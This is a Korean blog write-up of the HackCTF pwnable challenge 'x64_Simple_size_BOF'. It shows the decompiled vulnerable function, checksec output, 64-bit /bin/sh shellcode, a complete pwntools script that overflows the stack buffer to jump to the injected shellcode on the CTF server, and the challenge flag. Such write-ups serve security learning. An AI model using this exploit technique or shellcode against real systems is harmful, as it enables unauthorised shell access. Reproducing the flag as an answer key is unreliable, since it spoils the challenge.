Wargame & CTF/HackCTF

[HackCTF / pwnable] x64_Simple_size_BOF

cg10036 2019. 10. 4. 04:39

64비트 버퍼 오버플로우 문제이다.


1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-6D30h]
 
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&s);
  printf("buf: %p\n"&v4);
  gets(&v4);
  return 0;
}
cs


v4의 주소가 주어진다. (simple size라는데 엄청 크다)


1
2
3
4
5
6
7
[*] '/home/cg10036/hackCTF/x64_Simple_size_BOF/Simple_size_bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
cs


NX가 없으므로, 바로 v4에 쉘코드를 넣고 ret에 v4의 주소를 넣으면 실행이 될것이다.

기존의 32비트 쉘코드와 다른 쉘코드를 써야한다.

\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= ELF("./Simple_size_bof")
#p = process("./Simple_size_bof")
= remote("ctf.j0n9hyun.xyz"3005)
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
 
p.recvuntil("buf: ")
buf_address = int(p.recv(14), 0)
 
p.recvuntil("\n")
payload = ""
payload += shellcode
payload += "A"*(0x6d30 - len(shellcode) + 0x8)
payload += p64(buf_address)
 
p.sendline(payload)
p.interactive()
cs


x64_Simple_size_BOF : HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f}